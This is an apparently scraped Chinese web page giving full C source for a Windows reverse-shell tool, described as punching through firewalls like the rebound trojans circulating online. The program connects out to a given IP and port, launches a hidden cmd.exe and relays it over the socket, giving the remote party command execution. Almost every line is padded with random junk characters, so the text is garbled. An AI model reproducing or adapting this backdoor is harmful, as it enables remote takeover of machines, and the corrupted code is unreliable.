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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Awr(}){  
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/* ============================== p0PK-e`@:  
Rebound port in Windows NT 'F3@Xh  
By wind,2006/7 sFHqLG{/  
===============================*/ 'uF-}_ |  
#include n@6vCdk.  
#include p)VMYu  
E{}J-_oS45  
#pragma comment(lib,"wsock32.lib") ^Jw=5 ImG  
t{,e{oZx  
void OutputShell(); !?lvmq  
SOCKET sClient; J:OP*/@='  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0sH~H[ap  
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void main(int argc,char **argv) MI-S}Qoe  
{ 6n~)R  
WSADATA stWsaData; WVz2 bzj  
int nRet; N`4XlD  
SOCKADDR_IN stSaiClient,stSaiServer; 4*inN~cU  
"H=N>=g0E  
if(argc != 3) ""Oir!4  
{ =RZ PDu  
printf("Useage:\n\rRebound DestIP DestPort\n"); {,1>(  
return; }R%*J  
} hj{)6dBX%  
M+%qVwp  
WSAStartup(MAKEWORD(2,2),&stWsaData); x U"g~hT  
#m;o)KkH$r  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XN{WxcZ  
u6%\ZK._ \  
stSaiClient.sin_family = AF_INET; )&Z`SaoP|J  
stSaiClient.sin_port = htons(0); I8c:U2D  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `\'V]9wS  
PHJHW#sv  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) C6Cr+TScH  
{ G6l C[eK  
printf("Bind Socket Failed!\n"); Xk1uCVUe5  
return; #l@P}sHXq  
} 'z{|#zd9  
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stSaiServer.sin_family = AF_INET; r4<As`&  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !b&+2y2i[W  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4* I XBi7%  
5z2("[8L&  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) FM(EOsWk  
{ IZ iS3  
printf("Connect Error!"); Vbe@S?u-  
return; qM6hE.J   
} HXC\``E  
OutputShell(); [lVfhXc&  
} i7cUp3  
Z1:<i*6>D  
void OutputShell() 0*+EYnu+  
{ ,k*%=TF7N  
char szBuff[1024]; *$`N5;7'`  
SECURITY_ATTRIBUTES stSecurityAttributes; 8@LUL)"  
OSVERSIONINFO stOsversionInfo; m)  rVzL  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [zXC\)&!  
STARTUPINFO stStartupInfo; X Q CE`m  
char *szShell; *j,bI Y&se  
PROCESS_INFORMATION stProcessInformation; ew~?&=  
unsigned long lBytesRead; ru6M9\h*  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); WRwx[[e6z  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); OU}eTc(FeC  
stSecurityAttributes.lpSecurityDescriptor = 0; >B=s+ }/ME  
stSecurityAttributes.bInheritHandle = TRUE; #sBL E  
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m#i4_F=^b  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); iSR"$H{  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R9Wr?  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); w!v^6[!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h::(b,|f7  
stStartupInfo.wShowWindow = SW_HIDE; uv8k ea .(  
stStartupInfo.hStdInput = hReadPipe; hdcB*j?4  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; g5"I{ol5T~  
TJZ/lJU  
GetVersionEx(&stOsversionInfo); VzIZT{  
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switch(stOsversionInfo.dwPlatformId) 8x LXXB  
{ x}Lj|U$r<X  
case 1: < W`gfpzO  
szShell = "command.com"; pL} F{G.  
break; g|->W]q@;  
default: J~4mp\4b  
szShell = "cmd.exe"; rx 74v!  
break; /$]S'[5uF  
} >)='.aR<  
<66%(J>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); TC44*BHq  
B!;:,(S~  
send(sClient,szMsg,77,0); r_T"b  
while(1) r@]`#PL  
{ ,x!r^YO=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); oXqJypR 2  
if(lBytesRead) ?U[6X| 1  
{  S.B?l_d^  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); nM:<l}~v{  
send(sClient,szBuff,lBytesRead,0); U`8Er48X  
} /W-ges  
else `OgT"FdL!  
{ !Q_Wbu\U  
lBytesRead=recv(sClient,szBuff,1024,0); [! wJIy?,  
if(lBytesRead<=0) break; &A.0(s  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); MffCk!]  
} (V&d:tW  
} C4d'z(<  
B(vCi^  
return; WcS`T?Xa  
}
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